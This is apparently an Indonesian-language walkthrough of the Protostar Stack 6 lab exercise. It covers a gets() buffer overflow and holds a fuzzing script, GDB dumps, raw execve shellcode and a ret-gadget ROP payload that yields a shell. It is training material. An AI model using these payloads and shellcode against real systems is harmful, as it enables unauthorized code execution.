Protostar Stack 6
Alat dan Bahan
- Binary: stack6
- Sistem operasi: Debian 9 dengan arsitektur 64 bit.
Mengatur Lingkungan Pekerjaan
- Binary
Ambil binary dari VM Protostar.
$ scp [email protected]:/opt/protostar/bin/stack6 $PWD
- Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64];
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0);
if((ret & 0xbf000000) == 0xbf000000) {
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer);
}
int main(int argc, char **argv)
{
getpath();
}
- Mematikan ASLR
Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Identifikasi Kelemahan
$ checksec stack6
[*] '/../stack6'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
$ ./stack6
input path please: 1
got path 1
Program menerima input dari stdin
kemudian diproses melalui fungsi gets
yang vulnerable. Tujuan akhirnya adalah mendapatkan akses shell.
fsi.sh
#!/bin/bash
buffer=""
for i in {1..2048}
do
echo $i
buffer+="A"
echo $buffer > /tmp/delete.me
./$1 < /tmp/delete.me
if [ $? -eq 139 ]; then
echo "SEGMENTATION FAULT on $i BUFFER"
break
fi
done
Eksploitasi
$ ./fsi.sh stack6
...
SEGMENTATION FAULT on 76 BUFFER
Dengan jumlah buffer sebesar 76 byte program mengalami segmentation fault. Agar bisa mendapatkan alamat yang tepat untuk akses shell maka atur buffer yang akan digunakan sebagai shellcode pada akhir payload.
$ python -c 'print "A"*80 + "BBBB" + "C"*64' | tr -d '\n' > /tmp/del
$ gdb -q stack6
$ r < /tmp/del
Starting program: /../stack6 < /tmp/del
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x9e
EBX: 0x0
ECX: 0x7fffff62
EDX: 0xf7fb4870 --> 0x0
ESI: 0x1
EDI: 0xf7fb3000 --> 0x1b2db0
EBP: 0x41414141 ('AAAA')
ESP: 0xffffd6a0 ('C' <repeats 64 times>)
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffd6a0 ('C' <repeats 64 times>)
0004| 0xffffd6a4 ('C' <repeats 60 times>)
0008| 0xffffd6a8 ('C' <repeats 56 times>)
0012| 0xffffd6ac ('C' <repeats 52 times>)
0016| 0xffffd6b0 ('C' <repeats 48 times>)
0020| 0xffffd6b4 ('C' <repeats 44 times>)
0024| 0xffffd6b8 ('C' <repeats 40 times>)
0028| 0xffffd6bc ('C' <repeats 36 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
Isi register ESP dengan NOP dan shellcode dan ganti nilai 0x42424242
dengan alamat register ESP agar shellcode bisa dieksekusi.
$ python -c 'print "A"*80 + "\xa0\xd6\xff\xff" + "\x90"*16 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ' | tr -d '\n' | ./stack6
input path please: bzzzt (0xffffd6a0)
Ada proteksi canary sederhanan, sehingga shellcode tidak bisa dieksekusi dengan gadget \xa0\xd6\xff\xff
. Agar shellcode bisa diekseksui maka gunakan teknik Return Oriented Programming (ROP).
ROP biasanya menggunakan gadget agar bisa pindah ke stack yang diinginkan. Untuk mendapatkan gadget bisa menggunakan GDB PEDA.
$ sudo gdb -q stack6
gdb-peda$ dumprop
Warning: this can be very slow, do not run for large memory range
Writing ROP gadgets to file: stack6-rop.txt ...
0x80484f9: ret
...
Ada gadget ret
yang bisa digunakan untuk pindah alamat selanjutnya pada stack. Gadget tersebut bisa digunakan dengan desain payload ini, JUNK Buffer + GADGET Addr + SHELLCODE Addr + SHELLCODE Buffer
.
Alamat gadget ret ada pada 0x80484f9, selanjutnya gunakan offset sebesar 80 byte sebelum register IP untuk mencari alamat stack yang diawali dengan 0xbf
.
$ python -c "print 'A'*80 + '\xf9\x84\x04\x08' + 'AAAA' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/x
Luaran GDB pada Protostar.
(gdb) r < /tmp/x
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/protostar/bin/stack6 < /tmp/x
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA��AAAA1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) x/1x $esp
0xbffffca4: 0xdb31c031
Alamat yang diinginkan sudah ditemukan pada 0xbffffca4
, sekarang tinggal ditambahkan ke payload.
$ python -c "print 'A'*80 + '\xf9\x84\x04\x08' + '\xa4\xfc\xff\xbf' + '\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > /tmp/y
Luaran GDB pada Protostar.
(gdb) r < /tmp/y
Starting program: /opt/protostar/bin/stack6 < /tmp/y
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAAA������1�1۰̀Sh/ttyh/dev��1�f�'�̀1�Ph//shh/bin��PS�ᙰ
Executing new program: /bin/dash
Akses shell /bin/dash
berhasil didapatkan.